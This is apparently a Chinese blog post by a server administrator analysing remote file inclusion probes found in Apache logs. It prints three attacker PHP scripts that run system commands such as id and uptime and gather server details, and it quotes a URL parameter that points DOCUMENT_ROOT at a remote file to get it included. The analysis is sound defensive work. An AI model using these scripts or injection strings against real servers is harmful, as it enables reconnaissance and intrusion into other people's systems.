近期看到的所谓“Web Attack”

这一两星期经常看到Apache log中出现和remote file inclusion有关的「攻击」，一时好奇，抓其中一个档案来看一看，赫然发现并不是盲目直接攻击，反而像大量搜集伺服器资料。拿其中一个看到的档案为例：


<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER[&apos;SERVER_NAME&apos;];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "NigeriaN HackerS TeaM<br>";
exit;
?>
另一个也差不多：


<?php
function ConvertBytes($number)
{
         $len = strlen($number);
         if($len < 4)
         {
                 return sprintf("%d b", $number);
         }
         if($len >= 4 && $len <=6)
         {
                 return sprintf("%0.2f Kb", $number/1024);
         }
         if($len >= 7 && $len <=9)
         {
                 return sprintf("%0.2f Mb", $number/1024/1024);
         }

         return sprintf("%0.2f Gb", $number/1024/1024/1024);

}

echo "kangkung<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER[&apos;SERVER_NAME&apos;];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "kangkung was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
再来第三个，都是一样的东西：


<?
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER[&apos;SERVER_NAME&apos;];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>";
exit;
?>
特别之处是，它们非常针对PHP，尝试哄骗PHP信任攻击者提供的DOCUMENT_ROOT来取代Apache那个，全部都是在URL后加上像"?DOCUMENT_ROOT=http://www.example.com/xxxxxx.txt "的部份，而且这个所谓的.txt其实是PHP档。我和这位仁兄一样，一时间找不到是哪个漏洞会用DOCUMENT_ROOT。

在User Agent方面，九成九都是libwww-perl，看到比较得人惊的只有这个。希望是伪造的吧，如果是真的，那就笑不出了，因为那表示这个攻击无远弗届……